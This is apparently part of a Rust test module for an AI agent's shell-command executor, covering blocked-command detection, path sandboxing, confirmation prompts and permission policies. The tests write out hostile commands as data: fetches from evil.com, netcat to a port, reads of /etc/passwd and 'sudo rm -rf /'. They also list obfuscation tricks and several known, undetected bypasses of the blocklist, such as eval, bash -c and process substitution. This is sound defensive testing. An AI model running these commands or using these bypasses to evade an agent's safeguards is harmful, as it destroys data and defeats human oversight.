1198 );
1199 }
1200
1201 #[test]
1202 fn allowed_unknown_command_ignored() {
1203 let config = ShellConfig {
1204 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1205 ..default_config()
1206 };
1207 let executor = ShellExecutor::new(&config);
1208 assert!(executor.find_blocked_command("sudo rm").is_some());
1209 assert!(
1210 executor
1211 .find_blocked_command("curl https://example.com")
1212 .is_some()
1213 );
1214 }
1215
1216 #[test]
1217 fn empty_allowed_commands_changes_nothing() {
1218 let executor = ShellExecutor::new(&default_config());
1219 assert!(
1220 executor
1221 .find_blocked_command("curl https://example.com")
1222 .is_some()
1223 );
1224 assert!(executor.find_blocked_command("sudo rm").is_some());
1225 assert!(
1226 executor
1227 .find_blocked_command("wget http://evil.com")
1228 .is_some()
1229 );
1230 }
1231
1232 #[test]
1235 fn extract_paths_from_code() {
1236 let paths = extract_paths("cat /etc/passwd && ls /var/log");
1237 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1238 }
1239
1240 #[test]
1241 fn extract_paths_handles_trailing_chars() {
1242 let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1243 assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1244 }
1245
1246 #[test]
1247 fn extract_paths_detects_relative() {
1248 let paths = extract_paths("cat ./file.txt ../other");
1249 assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1250 }
1251
1252 #[test]
1253 fn sandbox_allows_cwd_by_default() {
1254 let executor = ShellExecutor::new(&default_config());
1255 let cwd = std::env::current_dir().unwrap();
1256 let cwd_path = cwd.display().to_string();
1257 let code = format!("cat {cwd_path}/file.txt");
1258 assert!(executor.validate_sandbox(&code).is_ok());
1259 }
1260
1261 #[test]
1262 fn sandbox_rejects_path_outside_allowed() {
1263 let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1264 let executor = ShellExecutor::new(&config);
1265 let result = executor.validate_sandbox("cat /etc/passwd");
1266 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1267 }
1268
1269 #[test]
1270 fn sandbox_no_absolute_paths_passes() {
1271 let config = sandbox_config(vec!["/tmp".into()]);
1272 let executor = ShellExecutor::new(&config);
1273 assert!(executor.validate_sandbox("echo hello").is_ok());
1274 }
1275
1276 #[test]
1277 fn sandbox_rejects_dotdot_traversal() {
1278 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1279 let executor = ShellExecutor::new(&config);
1280 let result = executor.validate_sandbox("cat ../../../etc/passwd");
1281 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1282 }
1283
1284 #[test]
1285 fn sandbox_rejects_bare_dotdot() {
1286 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1287 let executor = ShellExecutor::new(&config);
1288 let result = executor.validate_sandbox("cd ..");
1289 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1290 }
1291
1292 #[test]
1293 fn sandbox_rejects_relative_dotslash_outside() {
1294 let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1295 let executor = ShellExecutor::new(&config);
1296 let result = executor.validate_sandbox("cat ./secret.txt");
1297 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1298 }
1299
1300 #[test]
1301 fn sandbox_rejects_absolute_with_embedded_dotdot() {
1302 let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1303 let executor = ShellExecutor::new(&config);
1304 let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1305 assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1306 }
1307
1308 #[test]
1309 fn has_traversal_detects_dotdot() {
1310 assert!(has_traversal("../etc/passwd"));
1311 assert!(has_traversal("./foo/../bar"));
1312 assert!(has_traversal("/tmp/sandbox/../../etc"));
1313 assert!(has_traversal(".."));
1314 assert!(!has_traversal("./safe/path"));
1315 assert!(!has_traversal("/absolute/path"));
1316 assert!(!has_traversal("no-dots-here"));
1317 }
1318
1319 #[test]
1320 fn extract_paths_detects_dotdot_standalone() {
1321 let paths = extract_paths("cd ..");
1322 assert_eq!(paths, vec!["..".to_owned()]);
1323 }
1324
1325 #[test]
1328 fn allow_network_false_blocks_network_commands() {
1329 let config = ShellConfig {
1330 allow_network: false,
1331 ..default_config()
1332 };
1333 let executor = ShellExecutor::new(&config);
1334 assert!(
1335 executor
1336 .find_blocked_command("curl https://example.com")
1337 .is_some()
1338 );
1339 assert!(
1340 executor
1341 .find_blocked_command("wget http://example.com")
1342 .is_some()
1343 );
1344 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1345 }
1346
1347 #[test]
1348 fn allow_network_true_keeps_default_behavior() {
1349 let config = ShellConfig {
1350 allow_network: true,
1351 ..default_config()
1352 };
1353 let executor = ShellExecutor::new(&config);
1354 assert!(
1356 executor
1357 .find_blocked_command("curl https://example.com")
1358 .is_some()
1359 );
1360 }
1361
1362 #[test]
1365 fn find_confirm_command_matches_pattern() {
1366 let config = ShellConfig {
1367 confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1368 ..default_config()
1369 };
1370 let executor = ShellExecutor::new(&config);
1371 assert_eq!(
1372 executor.find_confirm_command("rm /tmp/file.txt"),
1373 Some("rm ")
1374 );
1375 assert_eq!(
1376 executor.find_confirm_command("git push -f origin main"),
1377 Some("git push -f")
1378 );
1379 }
1380
1381 #[test]
1382 fn find_confirm_command_case_insensitive() {
1383 let config = ShellConfig {
1384 confirm_patterns: vec!["drop table".into()],
1385 ..default_config()
1386 };
1387 let executor = ShellExecutor::new(&config);
1388 assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1389 }
1390
1391 #[test]
1392 fn find_confirm_command_no_match() {
1393 let config = ShellConfig {
1394 confirm_patterns: vec!["rm ".into()],
1395 ..default_config()
1396 };
1397 let executor = ShellExecutor::new(&config);
1398 assert!(executor.find_confirm_command("echo hello").is_none());
1399 }
1400
1401 #[tokio::test]
1402 async fn confirmation_required_returned() {
1403 let config = ShellConfig {
1404 confirm_patterns: vec!["rm ".into()],
1405 ..default_config()
1406 };
1407 let executor = ShellExecutor::new(&config);
1408 let response = "```bash\nrm file.txt\n```";
1409 let result = executor.execute(response).await;
1410 assert!(matches!(
1411 result,
1412 Err(ToolError::ConfirmationRequired { .. })
1413 ));
1414 }
1415
1416 #[tokio::test]
1417 async fn execute_confirmed_skips_confirmation() {
1418 let config = ShellConfig {
1419 confirm_patterns: vec!["echo".into()],
1420 ..default_config()
1421 };
1422 let executor = ShellExecutor::new(&config);
1423 let response = "```bash\necho confirmed\n```";
1424 let result = executor.execute_confirmed(response).await;
1425 assert!(result.is_ok());
1426 let output = result.unwrap().unwrap();
1427 assert!(output.summary.contains("confirmed"));
1428 }
1429
1430 #[test]
1433 fn default_confirm_patterns_loaded() {
1434 let config = ShellConfig::default();
1435 assert!(!config.confirm_patterns.is_empty());
1436 assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1437 assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1438 assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1439 assert!(config.confirm_patterns.contains(&"`".to_owned()));
1440 }
1441
1442 #[test]
1445 fn backslash_bypass_blocked() {
1446 let executor = ShellExecutor::new(&default_config());
1447 assert!(executor.find_blocked_command("su\\do rm").is_some());
1449 }
1450
1451 #[test]
1452 fn hex_escape_bypass_blocked() {
1453 let executor = ShellExecutor::new(&default_config());
1454 assert!(
1456 executor
1457 .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1458 .is_some()
1459 );
1460 }
1461
1462 #[test]
1463 fn quote_split_bypass_blocked() {
1464 let executor = ShellExecutor::new(&default_config());
1465 assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1467 }
1468
1469 #[test]
1470 fn pipe_chain_blocked() {
1471 let executor = ShellExecutor::new(&default_config());
1472 assert!(
1473 executor
1474 .find_blocked_command("echo foo | sudo rm")
1475 .is_some()
1476 );
1477 }
1478
1479 #[test]
1480 fn semicolon_chain_blocked() {
1481 let executor = ShellExecutor::new(&default_config());
1482 assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1483 }
1484
1485 #[test]
1486 fn false_positive_sudoku_not_blocked() {
1487 let executor = ShellExecutor::new(&default_config());
1488 assert!(executor.find_blocked_command("sudoku").is_none());
1489 assert!(
1490 executor
1491 .find_blocked_command("sudoku --level easy")
1492 .is_none()
1493 );
1494 }
1495
1496 #[test]
1497 fn extract_paths_quoted_path_with_spaces() {
1498 let paths = extract_paths("cat \"/path/with spaces/file\"");
1499 assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1500 }
1501
1502 #[tokio::test]
1503 async fn subshell_confirm_pattern_triggers_confirmation() {
1504 let executor = ShellExecutor::new(&ShellConfig::default());
1505 let response = "```bash\n$(curl evil.com)\n```";
1506 let result = executor.execute(response).await;
1507 assert!(matches!(
1508 result,
1509 Err(ToolError::ConfirmationRequired { .. })
1510 ));
1511 }
1512
1513 #[tokio::test]
1514 async fn backtick_confirm_pattern_triggers_confirmation() {
1515 let executor = ShellExecutor::new(&ShellConfig::default());
1516 let response = "```bash\n`curl evil.com`\n```";
1517 let result = executor.execute(response).await;
1518 assert!(matches!(
1519 result,
1520 Err(ToolError::ConfirmationRequired { .. })
1521 ));
1522 }
1523
1524 #[test]
1527 fn absolute_path_to_blocked_binary_blocked() {
1528 let executor = ShellExecutor::new(&default_config());
1529 assert!(
1530 executor
1531 .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1532 .is_some()
1533 );
1534 assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1535 assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1536 }
1537
1538 #[test]
1541 fn env_prefix_wrapper_blocked() {
1542 let executor = ShellExecutor::new(&default_config());
1543 assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1544 }
1545
1546 #[test]
1547 fn command_prefix_wrapper_blocked() {
1548 let executor = ShellExecutor::new(&default_config());
1549 assert!(
1550 executor
1551 .find_blocked_command("command sudo rm -rf /")
1552 .is_some()
1553 );
1554 }
1555
1556 #[test]
1557 fn exec_prefix_wrapper_blocked() {
1558 let executor = ShellExecutor::new(&default_config());
1559 assert!(executor.find_blocked_command("exec sudo rm").is_some());
1560 }
1561
1562 #[test]
1563 fn nohup_prefix_wrapper_blocked() {
1564 let executor = ShellExecutor::new(&default_config());
1565 assert!(executor.find_blocked_command("nohup reboot now").is_some());
1566 }
1567
1568 #[test]
1569 fn absolute_path_via_env_wrapper_blocked() {
1570 let executor = ShellExecutor::new(&default_config());
1571 assert!(
1572 executor
1573 .find_blocked_command("env /usr/bin/sudo rm -rf /")
1574 .is_some()
1575 );
1576 }
1577
1578 #[test]
1581 fn octal_escape_bypass_blocked() {
1582 let executor = ShellExecutor::new(&default_config());
1583 assert!(
1585 executor
1586 .find_blocked_command("$'\\163\\165\\144\\157' rm")
1587 .is_some()
1588 );
1589 }
1590
1591 #[tokio::test]
1592 async fn with_audit_attaches_logger() {
1593 use crate::audit::AuditLogger;
1594 use crate::config::AuditConfig;
1595 let config = default_config();
1596 let executor = ShellExecutor::new(&config);
1597 let audit_config = AuditConfig {
1598 enabled: true,
1599 destination: "stdout".into(),
1600 };
1601 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1602 let executor = executor.with_audit(logger);
1603 assert!(executor.audit_logger.is_some());
1604 }
1605
1606 #[test]
1607 fn chrono_now_returns_valid_timestamp() {
1608 let ts = chrono_now();
1609 assert!(!ts.is_empty());
1610 let parsed: u64 = ts.parse().unwrap();
1611 assert!(parsed > 0);
1612 }
1613
1614 #[cfg(unix)]
1615 #[tokio::test]
1616 async fn execute_bash_injects_extra_env() {
1617 let mut env = std::collections::HashMap::new();
1618 env.insert(
1619 "ZEPH_TEST_INJECTED_VAR".to_owned(),
1620 "hello-from-env".to_owned(),
1621 );
1622 let (result, code) = execute_bash(
1623 "echo $ZEPH_TEST_INJECTED_VAR",
1624 Duration::from_secs(5),
1625 None,
1626 None,
1627 Some(&env),
1628 )
1629 .await;
1630 assert_eq!(code, 0);
1631 assert!(result.contains("hello-from-env"));
1632 }
1633
1634 #[cfg(unix)]
1635 #[tokio::test]
1636 async fn shell_executor_set_skill_env_injects_vars() {
1637 let config = ShellConfig {
1638 timeout: 5,
1639 allowed_commands: vec![],
1640 blocked_commands: vec![],
1641 allowed_paths: vec![],
1642 confirm_patterns: vec![],
1643 allow_network: false,
1644 };
1645 let executor = ShellExecutor::new(&config);
1646 let mut env = std::collections::HashMap::new();
1647 env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1648 executor.set_skill_env(Some(env));
1649 use crate::executor::ToolExecutor;
1650 let result = executor
1651 .execute("```bash\necho $MY_SKILL_SECRET\n```")
1652 .await
1653 .unwrap()
1654 .unwrap();
1655 assert!(result.summary.contains("injected-value"));
1656 executor.set_skill_env(None);
1657 }
1658
1659 #[cfg(unix)]
1660 #[tokio::test]
1661 async fn execute_bash_error_handling() {
1662 let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1663 assert_eq!(result, "(no output)");
1664 assert_eq!(code, 1);
1665 }
1666
1667 #[cfg(unix)]
1668 #[tokio::test]
1669 async fn execute_bash_command_not_found() {
1670 let (result, _) = execute_bash(
1671 "nonexistent-command-xyz",
1672 Duration::from_secs(5),
1673 None,
1674 None,
1675 None,
1676 )
1677 .await;
1678 assert!(result.contains("[stderr]") || result.contains("[error]"));
1679 }
1680
1681 #[test]
1682 fn extract_paths_empty() {
1683 assert!(extract_paths("").is_empty());
1684 }
1685
1686 #[tokio::test]
1687 async fn policy_deny_blocks_command() {
1688 let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1689 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1690 let response = "```bash\nforbidden command\n```";
1691 let result = executor.execute(response).await;
1692 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1693 }
1694
1695 #[tokio::test]
1696 async fn policy_ask_requires_confirmation() {
1697 let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1698 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1699 let response = "```bash\nrisky operation\n```";
1700 let result = executor.execute(response).await;
1701 assert!(matches!(
1702 result,
1703 Err(ToolError::ConfirmationRequired { .. })
1704 ));
1705 }
1706
1707 #[tokio::test]
1708 async fn policy_allow_skips_checks() {
1709 use crate::permissions::PermissionRule;
1710 use std::collections::HashMap;
1711 let mut rules = HashMap::new();
1712 rules.insert(
1713 "bash".to_owned(),
1714 vec![PermissionRule {
1715 pattern: "*".to_owned(),
1716 action: PermissionAction::Allow,
1717 }],
1718 );
1719 let policy = PermissionPolicy::new(rules);
1720 let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1721 let response = "```bash\necho hello\n```";
1722 let result = executor.execute(response).await;
1723 assert!(result.is_ok());
1724 }
1725
1726 #[tokio::test]
1727 async fn blocked_command_logged_to_audit() {
1728 use crate::audit::AuditLogger;
1729 use crate::config::AuditConfig;
1730 let config = ShellConfig {
1731 blocked_commands: vec!["dangerous".to_owned()],
1732 ..default_config()
1733 };
1734 let audit_config = AuditConfig {
1735 enabled: true,
1736 destination: "stdout".into(),
1737 };
1738 let logger = AuditLogger::from_config(&audit_config).await.unwrap();
1739 let executor = ShellExecutor::new(&config).with_audit(logger);
1740 let response = "```bash\ndangerous command\n```";
1741 let result = executor.execute(response).await;
1742 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1743 }
1744
1745 #[test]
1746 fn tool_definitions_returns_bash() {
1747 let executor = ShellExecutor::new(&default_config());
1748 let defs = executor.tool_definitions();
1749 assert_eq!(defs.len(), 1);
1750 assert_eq!(defs[0].id, "bash");
1751 assert_eq!(
1752 defs[0].invocation,
1753 crate::registry::InvocationHint::FencedBlock("bash")
1754 );
1755 }
1756
1757 #[test]
1758 fn tool_definitions_schema_has_command_param() {
1759 let executor = ShellExecutor::new(&default_config());
1760 let defs = executor.tool_definitions();
1761 let obj = defs[0].schema.as_object().unwrap();
1762 let props = obj["properties"].as_object().unwrap();
1763 assert!(props.contains_key("command"));
1764 let req = obj["required"].as_array().unwrap();
1765 assert!(req.iter().any(|v| v.as_str() == Some("command")));
1766 }
1767
1768 #[tokio::test]
1769 #[cfg(not(target_os = "windows"))]
1770 async fn cancel_token_kills_child_process() {
1771 let token = CancellationToken::new();
1772 let token_clone = token.clone();
1773 tokio::spawn(async move {
1774 tokio::time::sleep(Duration::from_millis(100)).await;
1775 token_clone.cancel();
1776 });
1777 let (result, code) = execute_bash(
1778 "sleep 60",
1779 Duration::from_secs(30),
1780 None,
1781 Some(&token),
1782 None,
1783 )
1784 .await;
1785 assert_eq!(code, 130);
1786 assert!(result.contains("[cancelled]"));
1787 }
1788
1789 #[tokio::test]
1790 #[cfg(not(target_os = "windows"))]
1791 async fn cancel_token_none_does_not_cancel() {
1792 let (result, code) =
1793 execute_bash("echo ok", Duration::from_secs(5), None, None, None).await;
1794 assert_eq!(code, 0);
1795 assert!(result.contains("ok"));
1796 }
1797
1798 #[tokio::test]
1799 #[cfg(not(target_os = "windows"))]
1800 async fn cancel_kills_child_process_group() {
1801 use std::path::Path;
1802 let marker = format!("/tmp/zeph-pgkill-test-{}", std::process::id());
1803 let script = format!("bash -c 'sleep 30 && touch {marker}' & sleep 60");
1804 let token = CancellationToken::new();
1805 let token_clone = token.clone();
1806 tokio::spawn(async move {
1807 tokio::time::sleep(Duration::from_millis(200)).await;
1808 token_clone.cancel();
1809 });
1810 let (result, code) =
1811 execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
1812 assert_eq!(code, 130);
1813 assert!(result.contains("[cancelled]"));
1814 tokio::time::sleep(Duration::from_millis(500)).await;
1816 assert!(
1817 !Path::new(&marker).exists(),
1818 "subprocess should have been killed with process group"
1819 );
1820 }
1821
1822 #[tokio::test]
1823 #[cfg(not(target_os = "windows"))]
1824 async fn shell_executor_cancel_returns_cancelled_error() {
1825 let token = CancellationToken::new();
1826 let token_clone = token.clone();
1827 tokio::spawn(async move {
1828 tokio::time::sleep(Duration::from_millis(100)).await;
1829 token_clone.cancel();
1830 });
1831 let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
1832 let response = "```bash\nsleep 60\n```";
1833 let result = executor.execute(response).await;
1834 assert!(matches!(result, Err(ToolError::Cancelled)));
1835 }
1836
1837 #[tokio::test]
1838 #[cfg(not(target_os = "windows"))]
1839 async fn execute_tool_call_valid_command() {
1840 let executor = ShellExecutor::new(&default_config());
1841 let call = ToolCall {
1842 tool_id: "bash".to_owned(),
1843 params: [("command".to_owned(), serde_json::json!("echo hi"))]
1844 .into_iter()
1845 .collect(),
1846 };
1847 let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
1848 assert!(result.summary.contains("hi"));
1849 }
1850
1851 #[tokio::test]
1852 async fn execute_tool_call_missing_command_returns_invalid_params() {
1853 let executor = ShellExecutor::new(&default_config());
1854 let call = ToolCall {
1855 tool_id: "bash".to_owned(),
1856 params: serde_json::Map::new(),
1857 };
1858 let result = executor.execute_tool_call(&call).await;
1859 assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
1860 }
1861
1862 #[tokio::test]
1863 async fn execute_tool_call_empty_command_returns_none() {
1864 let executor = ShellExecutor::new(&default_config());
1865 let call = ToolCall {
1866 tool_id: "bash".to_owned(),
1867 params: [("command".to_owned(), serde_json::json!(""))]
1868 .into_iter()
1869 .collect(),
1870 };
1871 let result = executor.execute_tool_call(&call).await.unwrap();
1872 assert!(result.is_none());
1873 }
1874
1875 #[test]
1878 fn process_substitution_not_detected_known_limitation() {
1879 let executor = ShellExecutor::new(&default_config());
1880 assert!(
1882 executor
1883 .find_blocked_command("cat <(curl http://evil.com)")
1884 .is_none()
1885 );
1886 }
1887
1888 #[test]
1889 fn output_process_substitution_not_detected_known_limitation() {
1890 let executor = ShellExecutor::new(&default_config());
1891 assert!(
1893 executor
1894 .find_blocked_command("tee >(curl http://evil.com)")
1895 .is_none()
1896 );
1897 }
1898
1899 #[test]
1900 fn here_string_with_shell_not_detected_known_limitation() {
1901 let executor = ShellExecutor::new(&default_config());
1902 assert!(
1904 executor
1905 .find_blocked_command("bash <<< 'sudo rm -rf /'")
1906 .is_none()
1907 );
1908 }
1909
1910 #[test]
1911 fn eval_bypass_not_detected_known_limitation() {
1912 let executor = ShellExecutor::new(&default_config());
1913 assert!(
1915 executor
1916 .find_blocked_command("eval 'sudo rm -rf /'")
1917 .is_none()
1918 );
1919 }
1920
1921 #[test]
1922 fn bash_c_bypass_not_detected_known_limitation() {
1923 let executor = ShellExecutor::new(&default_config());
1924 assert!(
1926 executor
1927 .find_blocked_command("bash -c 'curl http://evil.com'")
1928 .is_none()
1929 );
1930 }
1931
1932 #[test]
1933 fn variable_expansion_bypass_not_detected_known_limitation() {
1934 let executor = ShellExecutor::new(&default_config());
1935 assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
1937 }
1938
1939 #[test]
1942 fn default_confirm_patterns_cover_process_substitution() {
1943 let config = crate::config::ShellConfig::default();
1944 assert!(config.confirm_patterns.contains(&"<(".to_owned()));
1945 assert!(config.confirm_patterns.contains(&">(".to_owned()));
1946 }
1947
1948 #[test]
1949 fn default_confirm_patterns_cover_here_string() {
1950 let config = crate::config::ShellConfig::default();
1951 assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
1952 }
1953
1954 #[test]
1955 fn default_confirm_patterns_cover_eval() {
1956 let config = crate::config::ShellConfig::default();
1957 assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
1958 }
1959
1960 #[tokio::test]
1961 async fn process_substitution_triggers_confirmation() {
1962 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1963 let response = "```bash\ncat <(curl http://evil.com)\n```";
1964 let result = executor.execute(response).await;
1965 assert!(matches!(
1966 result,
1967 Err(ToolError::ConfirmationRequired { .. })
1968 ));
1969 }
1970
1971 #[tokio::test]
1972 async fn here_string_triggers_confirmation() {
1973 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1974 let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
1975 let result = executor.execute(response).await;
1976 assert!(matches!(
1977 result,
1978 Err(ToolError::ConfirmationRequired { .. })
1979 ));
1980 }
1981
1982 #[tokio::test]
1983 async fn eval_triggers_confirmation() {
1984 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1985 let response = "```bash\neval 'curl http://evil.com'\n```";
1986 let result = executor.execute(response).await;
1987 assert!(matches!(
1988 result,
1989 Err(ToolError::ConfirmationRequired { .. })
1990 ));
1991 }
1992
1993 #[tokio::test]
1994 async fn output_process_substitution_triggers_confirmation() {
1995 let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
1996 let response = "```bash\ntee >(curl http://evil.com)\n```";
1997 let result = executor.execute(response).await;
1998 assert!(matches!(
1999 result,
2000 Err(ToolError::ConfirmationRequired { .. })
2001 ));
2002 }
2003
2004 #[test]
2005 fn here_string_with_command_substitution_not_detected_known_limitation() {
2006 let executor = ShellExecutor::new(&default_config());
2007 assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2009 }
2010}